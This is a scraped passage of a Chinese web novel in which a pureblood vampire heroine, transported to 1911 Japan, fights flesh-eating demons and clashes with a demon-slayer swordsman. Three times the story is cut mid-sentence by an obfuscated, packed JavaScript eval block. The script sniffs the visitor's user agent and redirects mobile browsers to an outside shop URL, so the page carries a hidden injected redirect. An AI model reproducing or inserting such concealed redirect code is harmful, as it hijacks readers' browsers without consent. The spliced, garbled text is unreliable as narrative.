《纯血女王,但身在大正》 1. 吃人鬼 玖兰绫夏也没想到,只是测试一个新能力,还能把自己测穿越了。 时空乱流搅得她头昏脑涨,等到天旋地转的感觉终于消退,她回过神来时自己正躺在地上。 头顶传来野兽般粗粝的“嗬嗬”声,她的手腕被不知名的生物攥住,强行抬起。 污浊的气息喷在她裸露的手臂上。 玖兰绫夏猛地睁开了眼睛。 面前是一张扭曲畸形的脸,那生物头上顶着犄角,皮肤是病态的灰紫色,胸口竟然还凸出一张人脸。 她的手被那生物攥着,正往那张流着口水的嘴里送。 玖兰绫夏:“!!” 她握紧拳头,朝着那生物砸了过去。 它被击飞出去,撞倒一棵粗木后摔进雪堆里。 风雪吹到脸上,玖兰绫夏彻底清醒了。 她站起身,环顾四周。这里是野外,入目是一望无际的森林,周围都是二三十米高的巨型针叶树。 地上有厚厚的积雪,没到了小腿中间。 玖兰绫夏身上只穿了一件单薄的黑色吊带洋裙,裙摆只到膝盖上方。脚上的羊皮短靴已经浸入雪水,又湿又冷。 “这是什么地方?” 上一刻,她还在欧洲气候宜人的私人城堡里休假。 远在日本的眷属突然造访,献上了一管密封的液体,据说是笹原家纯血种的细胞提取物。 纯血种可以通过吸收血液或细胞得到新的天赋,玖兰绫夏读取了细胞里的记忆,了解了新能力的使用方法。 于是她当场做了测试。 结果就是现在这样。 “果然还是不能乱吃东西。”玖兰绫夏叹了口气,“回去肯定要被一条先生念叨了。” 一条拓真,现任血族元老院的首席,同时也是她的监护人。 他向来对玖兰绫夏的安全问题异常重视,在他的保护下,她平常不能随便出行,不能乱吃东西,不能随便接见陌生人…… 现在好了,她不仅“乱吃东西”,还把自己弄丢了。光是想想一条先生可能的反应,她就觉得麻烦。 不远处,那个被打飞的生物已经摇摇晃晃地爬了起来。 刚才那一拳玖兰绫夏用了些力气,它半边肩膀塌陷下去,碎骨和血肉混在一起。 按理说这种伤势,普通生物应该当场失去行动能力才对。可那东西不仅站起来了,肩膀还在快速愈合中。 活了近百年,她没见过这样的东西。 丧尸? 不像,没有腐烂的臭味。 那是异形?畸变生物? 这个新能力到底给她传送到什么鬼地方了? 怪物的眼睛盯着她,口水顺着嘴角滴进雪地里,再次冲了过来。 没有理智,无法沟通。 它完全被食欲支配了,面对明显比它强大的存在,连本能的恐惧都没有。 看起来是非常低级的一种生物。 和血族里最糟糕的E级堕落者有点像。 被纯血种咬过的人类,如果没有得到赐血的话就会变成堕落者。 那是一种永远被饥饿感支配的怪物。 只有及时吸入了纯血种的血,才可以顺利转化成血族,也就是人类常说的“初拥”。 玖兰绫夏嫌弃地皱起眉,一点也不想碰到那怪物的身体。 意念凝成了看不见的刀刃,把它的脑袋削了下来。 一般的堕落者,这样就会死了。但这个怪物无头的身体僵直着,不仅没有倒下,还踉跄着转向头颅的方向。它伸出双手摸索着,试图把脑袋捡回来安上。 被血腥味勾起了反应的玖兰绫夏瞳孔泛红,刚抵御过时空乱流的身体,有了饥饿感。 可手边没有血液替代剂,眼前这个怪物又太恶心了,让她完全提不起食欲。 饥饿感暂时还能忍耐,当务之急是搞清楚这怪物是什么,弱点在哪里,以及她现在到底在什么地方。 玖兰绫夏叹了口气,极其不情愿地走近那具无头身体。指尖沾了一点怪物的血,抿入嘴里。 还好,没有怪味,而且也没有毒。 零碎混乱的记忆被读取出来。 原来这是一种叫“鬼”的生物,以人类为食,惧怕阳光。被砍头也不会立刻死亡,需要阳光照射才能彻底消灭。 而她所处的这个地方,是1911年的日本。 看到这个信息的时候,玖兰绫夏愣住了。 这个时候的日本正处于明治时代末期,日俄战争刚结束没几年,距离大正改元也只有不到一个月的时间了…… 没想到,这个新能力竟然带着她回到了三百年前的日本! 笹原家的能力应该只是类似瞬间移动那样的能力,做不到直接穿梭时空。 难道是和她本身的能力结合之后产生的新天赋? 那就有意思了。 通过血液读取到的信息很有限,这只鬼原来是人类,变成鬼的过程也残缺不全。只知道它浑浑噩噩吃了不少人,最后游荡到了这片山林。 既然只有阳光能杀死鬼,那就等天亮吧。 这种没有理智的吃人鬼,不能留。 玖兰绫夏把鬼带到附近最高的一棵树上,挑了一根尖锐的断枝,直接把的身体串了上去。 第二天早晨,那只鬼在阳光升起的一瞬间化为飞灰。 坐在树干上的玖兰绫夏伸了个懒腰,经过一个晚上的研究,她发现自己暂时使用不了那个穿梭时空的能力了。 它是有冷却时间的,可能是几个月,也可能是几年。 对于拥有永恒生命的血族来说,这点时间还不算什么。 但她的眷属们,尤其是一条先生,恐怕要急疯了。 “唉。”玖兰绫夏望着远处层叠的山影,“总之,先想办法安顿下来吧。” 山下应该有村庄或城镇。 血族虽然只需要血液就能存活,即便没有也能靠沉睡渡过漫长时光,但玖兰绫夏从小养尊处优,让她在野外风餐露宿?绝无可能。 玖兰绫夏从树上跃下,雪很深,她不想再弄湿靴子,便低低地悬浮在雪面之上,朝下山的方向飘去。 然后,她就在这片仿佛没有尽头的山脉里,迷路了整整三天。 这到底是什么山?怎么这么大? 针叶林长得都差不多,积雪覆盖了一切路径标志。手机也是理所当然地没有信号,生在导航信号全球覆盖的时代,玖兰绫夏的认路能力可以说是非常之差了。 第二天的晚上,还下起了暴雪。 乌云蔽月,山林一片漆黑。 对于血族这样的夜行生物来说,黑暗并不影响什么。只是雪水打湿了她的裙摆,黏糊糊地贴在身上,很不舒服。 她找到了一个可以避雪的山洞,打算等雪小一点再出发。里面原住着一窝冬眠的熊,饿了的玖兰绫夏没客气,直接当成了口粮。 野兽的血,味道不怎么样,将就着用来填饱肚子而已。 毛绒绒的熊皮,被她用锋利的指甲裁成了披肩形状,洗净晾干之后穿在了身上。 棕色毛绒披肩裹在黑色洋裙外,还是挺搭配的。 天亮雪停时,积雪已经到了半人高。 原想着能不能找到一个山里人来帮忙带路,看这个情形是不太可能了。 “我讨厌爬山。” 玖兰绫夏站在一棵巨树的顶端,对着茫茫林海叹气。 在树上休息,在山洞凑合,饿了就只能捕兽……这种野外生存的日子简直没法过了。 她无比想念城堡里的大床,还有一条先生每天精心调制的各种口味血液代剂。 她现在还特别想泡澡,在这种深山里,就连生火烧水的条件都没有。 第四天,玖兰绫夏瞄准太阳升起的方向,直线飞了出去。不管下面是密林、深谷还是溪流,她都不绕行。 高速飞行带起的风吹得披肩猎猎作响,几个小时后,她飞出了连绵的山脉。视野骤然开阔,远处的平野上,零星散布着低矮的房屋。 看起来很小的一个村庄,只有几十户人家。 房屋是传统的木造结构,没有通电。土路被积雪覆盖,上面有几条被人踩出来的小径。 有人类就意味着可以打听情报,可以问路,可以知道最近的城镇在哪里。 运气好的话,说不定还能借宿,烧点热水好好洗个澡…… 玖兰绫夏从空中降落,拍干净身上沾着的雪。 对了,她的发色…… 这个年代的日本也有不少外国人,虽然是在乡村,但金色的头发应该不至于引起恐慌吧? * 院子里的女人正低头扫着雪,木屐踩进积雪里,发出咯吱咯吱的声响。 她叫堀北春,丈夫去年秋天染了风寒,没能熬过去,如今家里只剩她和十四岁的儿子松太郎相依为命。 连日大雪,柴火消耗得快。今天难得放晴,天刚蒙蒙亮,松太郎就背着柴架进山去了。 离春天还远,田地封冻,没什么农活可做。女人只能把家打扫得仔细些,再做点衣物缝补的活计。 扫完门前的空地,堀北春直起酸痛的腰,打算回屋生火做饭。 抬头时,她愣了一下。 雪地里远远走来一个人影。 那是一个年轻的小姐,穿着村子里很少见到的洋装。 最显眼的是那头金发,在暮色中泛着光,像是把夕阳都拢在了发丝间。 堀北春愣愣地看着她,这样精致美丽的小姐,怎么会独自出现在乡下的村庄里? 而且还是这种雪天……她该不会是遇到了什么难处吧? 堀北春放下扫把,主动走上前询问:“这位小姐,您需要帮助吗?” 玖兰绫夏打量着眼前的女人。 二十多岁的年纪,身上穿着粗布和服,外面套着劳作用的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17416081|200765||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 罩衣。虽然是粗布,但浆洗得很干净。 “请问最近的城镇该怎么走?” 堀北春看了眼天色,连忙摇头:“今天肯定赶不及了,从这到镇上要走两个多时辰呢。这季节天黑得快,山里又有野物,没人敢在冬天赶夜路的。” 她看对方只穿着单薄的洋裙,虽然肩上披着毛皮,但露在外面的手臂和小腿都已经冻得发白了,心里更是不忍。 “小姐要是不嫌弃,先进屋坐坐吧?屋里生了火,暖和一些。等明天天亮,村里有牛车要去镇上,可以捎您一程,那样一个多时辰就能到了。” 玖兰绫夏点头:“那就打扰了。” “不打扰不打扰!”女人连忙引路。 院子里,积雪被扫到两旁,主屋屋顶铺着厚厚的茅草。 拉开木格门,暖意扑面而来。屋里很宽敞,中央架着铁制的火钵,炭火烧得正旺。 堀北春指着火钵周围铺着草编的圆垫说:“快请坐,我给您泡茶。” 她从角落的陶罐里舀出水,倒入挂在火钵上的铁壶。 玖兰绫夏在垫子坐下。 铁壶里的水很快烧开了,女人从碗柜里取出茶壶,抓了一把茶叶冲入热水,又把茶水倒在粗陶茶碗里。 “不是什么好茶,就是自家焙的粗茶,还请别嫌弃。” 玖兰绫夏接过茶碗,抿了一口。茶味有点苦,有点涩。 “谢谢。” “您客气了。”堀北春在她对面坐下,搓了搓手,“小姐怎么会一个人到山里来?这大雪天多危险啊,您的家人呢?” 玖兰绫夏:“我是从东京来的,原本跟着商队旅行,但在山里走散了。请问这里具体是什么地方?离最近的城镇有多远?” “这里是八郸山脚下的藤野村,最近的镇子是盐九町。明天村头的平野家要赶车去镇上,我可以去跟他说说,让他捎您一程。” 女人说话时,目光不自觉地落在玖兰绫夏捧着茶碗的手上。 手指纤细修长,皮肤白皙,连指甲都修剪得圆润整齐。 这位小姐出身一定很好吧,没想到会遇到这种意外,流落异乡……想到这里,她更觉得心疼了。 “您今晚要是不嫌弃,就在这儿住下吧?晚上您可以睡我的房间。我儿子进山砍柴,应该也快回来了……” 门外,天色已经完全暗下来了,雪又开始飘。 堀北春准备去添些柴时,院外传来了吱呀的推门声。 “妈妈,我回来了。” 听到少年的声音,女人脸上露出笑容,快步走过去拉开了门。 门口站着的少年,背着一个柴架,上面是厚厚一捆干燥木柴。 他身上穿着打了补丁的劳作服,外面罩着蓑衣,脚上的草鞋沾满泥雪。 这个时代已经有越来越多的年轻人开始剪短发,这个少年却是蓄了长发,还在脑后扎成了一个发髻。 “松太郎,回来啦。辛苦了,快把柴放下。” 堀北春伸手想帮忙,少年摇摇头,把柴架卸在门廊下,码放整齐。 做完这些,他才脱下蓑衣。准备进屋时,目光终于是碰到了端坐在火钵旁的玖兰绫夏身上。 松太郎的动作顿住。 火光勾勒出少女相貌优越的侧脸,金色的长发像是把室内的光线都聚拢了起来。 那身洋装与这个简陋的家格格不入。 愣神的几秒,母亲已经为他介绍了对方的身份。 松太郎只是对她冷淡地点了下头,算是打招呼。然后转向自己的母亲,皱眉道:“妈妈,你过来一下。” 通往厨房的狭窄门廊后,少年刻意压低的嗓音传入了玖兰绫夏的耳朵里。 “妈妈,你怎么又随便让陌生人进家里来?还是个这样……这样打扮的女人!” “松太郎,别这么大声。” 堀北春温和地劝着:“绫夏小姐是从东京来的,和商队走散了,又在山里迷了路,多可怜啊。这么大的雪,天又黑了,总不能让人家在野地里过夜吧?” “东京来的小姐怎么会一个人流落到我们这种深山里?万一是骗子呢?或者是……是别的什么?” 松太郎的隐晦地提醒,“你忘了村里最近的传言了?” 堀北春:“我看绫夏小姐不像是坏人,说话也很有礼数……” 松太郎看到母亲脸上毫无防备的笑容,就一阵担忧:“坏人也不会让你一眼就看出来吧?而且妈妈你太容易相信别人了……” 堀北春见儿子又要开始说教了,一拍脑袋说:“哎呀!光顾着和绫夏小姐说话,都忘记做晚饭了!松太郎你一定饿坏了吧?” 她一脸歉疚地拍拍儿子的手臂:“你先去陪绫夏小姐,妈妈这就去做饭。你是家里的男子汉,要好好招呼客人,知道吗?” 不等松太郎再反驳,她已经匆匆走进了厨房。 被留在原地的少年,无奈地抿紧了唇。 2. 稀血?! 回到主屋,松太郎在火钵另一侧坐下:“绫夏小姐,你说你是从东京来的,和商队走散了?” 玖兰绫夏:“是的。” “什么商队?往哪个方向去的?运的是什么货?” 他盘问的意思十分明显,玖兰绫夏只是平静地回答:“是收购药材的商队,具体我并不清楚,我只是随行,方向也分辨不清。” 模糊的回答根本不能打消松太郎的疑虑,没过多久,堀北春就端着饭菜回来了。 她歉意地看玖兰绫夏:“松太郎这孩子还不懂事,说话直来直去的,劳您多担待。” 其实玖兰绫夏是可以理解松太郎的警惕心的,毕竟这个时代还有鬼这种危险生物的存在。 堀北家的晚饭很简单,一锅杂菜味噌汤,一碟腌渍的野菜,主食是掺了糙米的麦饭。 玖兰绫夏只吃了一点点就放下了筷子。 人类的食物无法为血族提供能量,她可吃可不吃。 “绫夏小姐,你就只吃这么一点吗?是不是不合口味?”堀北春担忧地看着她。 “不,已经足够了。”玖兰绫夏礼貌地微笑,“非常感谢您的招待。” 堀北春还想再说些什么,松太郎拉了拉她的衣角。 少年默默地将自己碗里的饭吃完,又帮母亲收拾了碗筷。 饭后,松太郎仔细检查了房门,把门闩牢牢闩好,接着检查了每一扇窗。 “村子最近夜里不太平。”堀北春一边铺着被褥,一边对玖兰绫夏解释,“听说有吃人的野兽会在夜里进村,已经有好几户人家遭难了。现在大家晚上都不敢出门,门窗也关得紧紧的。” 她叹了口气:“已经报过官了,镇上交番的巡警来看过,说是会向上头报告,应该很快会有人来处理的吧。” “上头”具体指什么部门,她似乎也不清楚,只是朴实地相信着官府会管事。 玖兰绫夏想起了自己在山林里遇到的鬼。 如果夜袭村庄的不是野兽而是鬼的话,所谓的交番(警察所),恐怕对此也力有不逮吧? 松太郎回到屋里,对于母亲把自己的卧房让给客人的做法没说什么,还对她嘱咐了一句:“晚上如果有事就喊我。” 夜深了。 玖兰绫夏躺在被褥里闭眼小憩。 按照血族的作息,下午到深夜才是她精神最饱满的时候,凌晨到中午才是休息时间。 现在这个点应该刚过午夜,正是她最清醒的时段。 睡不着。 手机没电了,也玩不了。 好无聊。 思绪漫无目的地飘荡,1911年这个时期,她还没出生,不过一条先生已经存在了。 算算时间,这个时期的他,应该已经超过七百岁了吧? 现代的一条先生已经一千多岁了,具体年龄她也不清楚。说不定已经是老头中的老头了,只是他外表还骚包地维持着青年的模样。 去东京的话,不知道能不能找到这个时期的一条先生。以他的敏锐,应该能立刻认出她身上流淌的是玖兰家的纯血吧? 这时,一声凄厉的尖叫传来。 随后,丝丝缕缕的血腥味钻入鼻腔。 玖兰绫夏的眼睛在黑暗中骤然泛起红光,那是血族本能被勾起的反应。 她将涌动的食欲强行压下,紧接着房间的门被唰地拉开。 松太郎站在门口,手里攥着一把柴刀,脸色紧张。 他快速扫视了一眼屋内,看到玖兰绫夏已经坐起身,神色平静,似乎没有被吓到,这才松了口气。 “你没事吧?”他声音压得很低。 “我很好。”玖兰绫夏回答。 “外面不太对劲。”松太郎犹豫了一下,“你要不要出来,和我们待在一起?” 玖兰绫夏点了点头,起身跟着他回到主屋。 堀北春不安地抱着双臂坐在火钵边,她没有点灯,只有炭火残余的红光芒映出她苍白的脸。 三人围坐在微弱的火光旁,谁也没有说话,气氛凝重。 第二声哭喊传来,还夹杂着撞击声。 堀北春猛地一颤,惊惶道:“这个声音,好像是阿桃?” “阿桃姐?”松太郎提着柴刀站起来,“我出去看看。” 堀北春拉着他,担心地嘱咐:“那野兽会吃人,你一定要小心。” 松太郎点头,走到门边,搬开抵门的柜子。 “我出去之后你们立刻把门顶好,我没回来,谁叫都别开。” 堀北春点头,嘴唇哆嗦着:“松太郎,你一定要小心啊。” “我和你一起去。”玖兰绫夏忽然开口。 松太郎毫不犹豫地拒绝:“不行!你好好待在家里!” 像她这样漂亮精致的城里大小姐,怕是连担水的力气都没有,去了能做什么? 玖兰绫夏似乎看穿了他的想法:“不要小看我哦。” 她不理会松太郎的阻拦,径直越过他,走进了门外面的夜色中。 松太郎一愣,咬了咬牙,只得快步跟上。 堀北家位于村尾,和高木家也就是几十步的距离。越是靠近,空气里的血腥味就越发刺鼻。 松太郎神情紧绷,握着柴刀的手用力到发抖。 玖兰绫夏:“袭击人的不是野兽,是一种叫鬼的生物。” “鬼?” 松太郎愕然看向她,“那是什么东西?你怎么会知道?” 玖兰绫夏目光投向传来血腥味的方向:“鬼以人类的血肉为食,拥有远超普通人的力量和速度,再生能力也很强。” “那不是你能对付的东西,我劝你现在就转身回家,和你的母亲一起锁好门躲起来。” 松太郎从来没有听说过“鬼”这种东西,但即便她说的是真的…… 他咬紧牙关:“不行,阿桃姐从小就照顾我,就和我的亲姐姐一样,我不能放着她不管。” 玖兰绫夏提醒:“即便可能会因此付出自己的性命,也要去吗?” “不试试怎么知道!”少年不愿未战先怯。 出乎意料的,身旁的少女竟然轻轻笑了一下:“你还挺有正义感的嘛。” 都什么时候了,她怎么还能用这么轻松的语气说话? 松太郎被她这样的反应噎住。 可那个笑容在雪光的映衬下,竟有种动人心魄的美丽。 他立刻甩开不合时宜的念头,双手紧握柴刀,冲进了高木家敞开的院门。 院子里一片狼藉,主屋的门被整个撕烂,地板上有拖拽的血迹。 血腥味正是从屋后传来。 松太郎顺着痕迹来到后院里,一个身形超过两米的怪物,正将高木桃按在雪地上。 那生物有着类人的四肢,但指甲尖利,头上长着几个瘤状的凸起。 那就是绫夏小姐所说的“鬼”吗? 松太郎的呼吸凝滞。 旁边,高木桃的丈夫一动不动地倒在血泊里,不知是昏迷还是已经…… 玖兰绫夏皱了下眉,她的瞳孔在浓重的血气中,转为了深红。 堀北松太郎没有注意到她眼睛的异常,恐惧像冰水兜头浇下,他握着刀的手在止不住地颤抖。 但从小被教导,对帮助过自己的人要有道义,还有少年人不愿退缩的勇气,让他壮着胆子,朝背对他的鬼冲了过去! 可是实力差距太大了,鬼只是一挥爪,松太郎就被打飞出去。 他摔进雪堆里,上半身埋进雪里,半晌喘不过气。 玖兰绫夏踏过染血的地面,走进来:“好丑,鬼都像你这样丑吗?” 截至目前,她见过的两只鬼都长得颇为随心所欲。 “竟敢说我丑……” 鬼的喉咙里挤出嘶哑的声音。 嗅觉在这时忽然捕捉到一股奇异馥郁的香气,它回过头,看清来人的模样,眼珠里爆发出骇人的亮光:“好香!这味道……你是稀血?!” 传闻中,那是一种极度美味并且能带来强大力量的特殊人类血液。 他变成鬼已经半年多了,还没有品尝过呢! “稀血?” 玖兰绫夏没听说过这个词,她平静地否认,“不,我是纯血。” “纯血?” 鬼不理解,也不在乎。 它咧开嘴,涎水滴滴答答落下:“不管是什么,你闻起来实在是太香了!和那些普通人类完全不同……吃了你我一定能变得更强!”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17416082|200765||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 无名鬼丢开了爪下的高木桃,四肢肌肉贲张,把地面踩得嘭嘭响,直扑玖兰绫夏。 耳朵里的嗡鸣声渐熄,松太郎甩着脑袋站起来,正好看到那恐怖的鬼物冲向站在原地似乎来不及反应的绫夏小姐。 他不知从哪里爆发出来的力量,抓起手边的柴刀,再次扑过去对着鬼的手臂狠狠劈下。 柴刀嵌入鬼的手臂,它吃痛,暴怒之下抬脚踹在松太郎的腹部。 肋骨传来断裂声,他被踹飞出去,后背砸在院墙上,又滑落在地。 眼前阵阵发黑,在失去意识的前一秒,松太郎用最后力气说:“绫夏小姐……快跑……” 下一秒这个鬼被玖兰绫夏用念刃分解成了四段,断裂的躯块噼里啪啦地摔落在雪地上,瞬间失去了行动能力。 玖兰绫夏走到松太郎身边,把他蜷缩的身体放平。手指隔着衣物按在他胸腹交接处,将错位的肋骨推回了原本的位置。 少年的眉头舒展,人依旧昏迷。 那堆还在抽搐的鬼物残躯,玖兰绫夏指尖沾了点鬼血送进嘴里。 这只鬼的记忆比上一只鬼要清晰一点,他原本是个无家可归的流浪汉,浑噩度日。记忆中的一个雨夜,他缩在巷子里,病得快要死了。 一个穿着昂贵西式礼服、打着伞的男人路过,居高临下地看着他。 男人嘴角带着一丝似是怜悯又似玩味的笑意,问他:“想活下去吗?” 濒死的流浪汉拼命点头。 然后,男人朝他伸手,随之而来的便是焚烧五脏六腑般的剧痛。 再次醒来时,他已经变成了以人为食的怪物。 最早他一直在镇子里觅食,两个月前被巡查的猎鬼人发现后,为了避免麻烦,他东躲西藏地跑到了这个偏僻山坳里的村落。 玖兰绫夏在鬼血的记忆中,看到了那位鬼王的脸。 青年模样,面容苍白俊美,玫红色的眼睛。 原来也不是所有的鬼都那么丑嘛。 玖兰绫夏漫不经心地想着。 但对于鬼王这种随便把人变成鬼,又放任其遵循本能肆意杀戮的行为,她很不认同。 在现代,大多数血族选择的是避世,不与人类过多接触。反正血液代剂的研究已经很成熟了,几乎可以完美替代人血。 少数我行我素的血族,不管不顾地猎杀人类,也在被猎人协会前仆后继的追杀中逐渐凋零。 而玖兰家,从上上代的纯血之君开始,便致力于推动与人类的和平共处。不仅严格约束眷属,还和猎人协会建立了长期合作。共同猎杀堕落者,共同处决肆意妄为的血族,在血族中推广血液代剂等等…… 经过年复一年的努力,到了玖兰绫夏这一代,人类和血族之间的关系已经趋于稳定。 虽然在他们看不见的阴暗角落,也许仍然有肆意妄为的血族,但已经不成气候了。 像鬼舞辻无惨这样大肆制造不稳定因素,在玖兰绫夏看来,就是自取灭亡。 这个时代既然有猎鬼人存在,想必也有类似猎人协会的组织在暗中活动…… 墙角传来压抑的啜泣声。 先前被鬼袭击的高木桃挣扎着爬到了丈夫身边,正用身体护着昏迷的高木源吉,惊恐地看向玖兰绫夏。 由于刚刚吸收了鬼血,玖兰绫夏的瞳孔泛着红光,唇边露出的尖牙也不似人类。 加上她方才肢解鬼物的诡异手段,在高木桃眼中,这位美丽得过分的金发少女,无疑和地上那堆还在蠕动的鬼块一样可怕。 “求、求求你……别杀我们……” 玖兰绫夏嘴角扬起一个和善的微笑:“别怕,已经没事了,我这就把恶心的东西清理掉。” 她用念力卷起鬼块,像收拾垃圾一样将它们朝院外抛去。 此时门口突然闯进来一声断喝:“恶鬼!给我住手!” 伴随着这道声音,一道身影以惊人的速闪入。 刀光乍现,半空中的鬼头被来人一刀斩开。鬼头连同被念力卷着的其他残躯,如同被点燃的纸灰消失。 玖兰绫夏眼前一亮,猎鬼人? 那把刀是特殊的吗? 竟然能这么干脆利落地杀死鬼? 3. 很痒 不死川实弥是一路追着那只鬼的气息来到这个村子的。 几天前,负责巡逻的甲级队士在邻近的镇子上发现了鬼的踪迹。但那家伙胆小得很,一被察觉就立刻逃窜,速度奇快,队士没能追上。 消息上报后,作为这一带辖区管理的柱,不死川实弥立刻动身。 这种藏头露尾的鬼,他向来最为厌恶。 这个坐落在山坳里的村子,被浓密杉林环绕,常年雾气弥漫,正是鬼最喜欢的藏身之地。恰巧又有村民向地方警察所报告了野兽夜袭的事件…… 循着风中越来越浓的鬼气疾行,在闯入这处院落的时候,不死川实弥看到了一只被诡异地支解成数块的鬼。 站在鬼后面的是一个金发赤瞳、唇露尖牙的“少女”。 她身上散发出的气息,比那个鬼更加危险。 没有丝毫犹豫,不死川实弥挥刀斩灭了那只鬼。刀锋回转,直指那个金发少女。 玖兰绫夏看着这个浑身散发着凌厉杀气的男人,抬手做了个暂停的动作:“别误会,我可不是鬼。” 不死川实弥的视线扫过她猩红的眼睛、唇边的尖牙、异于常人的锋利指甲…… 还有地上昏迷不醒的少年和墙角生死不知的夫妇二人…… 他的眼神没有半分动摇:“拿命来吧,恶鬼!” 根本不给狡辩的机会,日轮刀带着风声直劈过去。 玖兰绫夏向后退开,刀锋险险擦过,带起的风压吹动了她的头发。 知道这个猎鬼人误会了,她想让高木桃出面解释一下,但女人不知道什么时候抱着自己的丈夫晕过去了。 玖兰绫夏:“……” 玖兰绫夏:“不是你想的那样,我可以解释,你先听我说。” “别以为我会听信你的花言巧语!” 不死川实弥攻势不停,刀光一下一下封锁她的退路,“恶鬼受死!” “能不能不要一口一个恶鬼。” 玖兰绫夏一边在刀光中穿梭,一边忍不住抱怨,“真的很难听。” 回应她的是男人一声沉喝:“风之呼吸·壹之型·尘旋风·削斩!” 爆发的刀势化作风刃,呈扇形向前方席卷。所过之处,地面被切割出道道深痕。 玖兰绫夏足尖轻点,身体向上腾空。躲开攻击之后,翩然落地。 “其实我是血族,可能你没有听说过,但我们是一种和恶鬼完全不同的生物……” 不死川实弥:“废话少说!” 这只鬼的速度果然很快,竟然能轻松地躲开他的壹之型。 他眼里的杀意更盛,越是强大的鬼,危害就越大! 他的身影以更快的速度突进:“风之呼吸·贰之型·爪爪·科户风!” 玖兰绫夏也在观察着这个对手。 男人有着一头炸起的白色短发,脸上、脖颈、裸露的胸膛都布满了交错的伤疤。他每一次呼吸都带着奇怪的韵律,斩出的每一刀都有超越常人的攻击力。 有意思。 这个时代的人类,居然能通过调整呼吸,爆发出这样的力量? 在她分神评估的时候,风刃从左肩掠过。毛绒披肩被割开一道口,左上臂的皮肤也被划开了一条血线。 一滴殷红的血珠从伤口渗出,但紧接着那道伤口便弥合消失,皮肤恢复光洁。 玖兰绫夏皱眉:“纯血种的血可是很珍贵的,猎鬼人,你真的冒犯到我了。” 她不打算一味避让了,跟这样不讲道理的男人,语言沟通是行不通了。 只能按他的方式来。 嗯,也就是用拳头沟通。 一条拓真为她安排的诸多课程里,也包含了战斗技巧训练。 只是那些对练的眷属不敢对她动真格,偶尔出现的刺杀者,也轮不到她亲自出手。 所以活了近百年,这算是玖兰绫夏第一次真正意义上的实战。 不过,纯血种的天赋极高,她很快就把学过的格斗技巧运用到了实战里。 从风刃的间隙中穿过,她用指甲抵住了刀刃,不死川实弥只觉得一股巨力从刀身传来,震得虎口发麻。 他用呼吸法强化的肌肉力量,硬生生抗住了。 玖兰绫夏没有攻击他的要害,格斗术加上意念操纵,轻松把他压制。 但这个猎鬼人很顽强,知道了敌我差距后,也没有放弃。 就算身上已经被打断了好几根骨头,他也像是没有痛觉似的继续战斗着。 甚至,眼里的杀气还比刚才更强了,有种拼死也要从她身上咬下一块肉的狠劲! 玖兰绫夏有点生气。 她处处留手,这个男人反倒对她不依不饶。 看来不让他吃点苦头,是不会结束的。 玖兰绫夏用指甲划破了他的手腕。 这个部位不仅是动脉所在,还有控制手指动作的肌腱。 不死川实弥的手一松,斩杀了无数恶鬼的日轮刀“哐当”一声掉落在地。 他脸色疾变,想要换一只手拾起,玖兰绫夏的念力已经先一步将日轮刀卷飞到了远处。 同时,她扣住了对方的另一只手,抵住他的后背,将他的上半身摁在了旁边的墙上。 玖兰绫夏:“这下你动不了了吧?” 不死川实弥的脸颊抵着粗糙的墙面,啐出一口带血的唾沫:“咳、恶鬼……杂碎!” “放弃吧,凭你是杀不了我的。”玖兰绫夏耐着性子说,“你安静一点,我们或许还能谈谈。” “要杀就杀!”他根本不为所动,胸膛剧烈起伏,眼神凶狠得好像要吃人,“别想耍什么花样!鬼舞辻无惨的走狗,你们都得死!” 玖兰绫夏气笑了。 这男人的脾气也太差了,她活了快一百年,还没被人这样指着鼻子骂过。 她决定给他一个教训。 正好打了这么久的架,又饿了这么多天,刚刚还因为他损失了一滴珍贵的血…… 从他身上吸回来,不过分吧? 玖兰绫夏一只手还压着他的背脊,另一只将他受伤的那只手臂向后拉。 他手腕内侧那道伤口还在渗血,红色血线沿着苍白的皮肤滑落。 玖兰绫夏低下头。 好香。 和刚才战斗中匆忙嗅到的感觉不同,现在这气息如此之近。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17416083|200765||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 玖兰绫夏已经很久没有摄入过人类的血液了,城堡里永远备着新鲜的替代剂,干净又健康。 也许是因为这样,才觉得他的气味格外香。 她伸出舌尖,舔过他手腕上那道蜿蜒的血痕。 男人的身体骤然紧绷。 玖兰绫夏也怔住了。 甜的? 这个男人的味道竟然是馥郁的甜味。 她忍不住又舔了一口。 尝起来有点像红豆奶茶。 这么明显的味道,这人难道是把红豆奶茶当饭吃了吗? 不死川实弥咬紧了牙。 他知道自己是鬼眼里的“稀血”,他的血肉对鬼有很强的吸引力。 现在他被按着动弹不得,那鬼的舌尖正一下一下舔舐着他手腕上的伤口。 恶心的感觉传遍了全身。 他奋力挣扎,想要挣脱压制。 不想让自己的血肉成为鬼的养分。 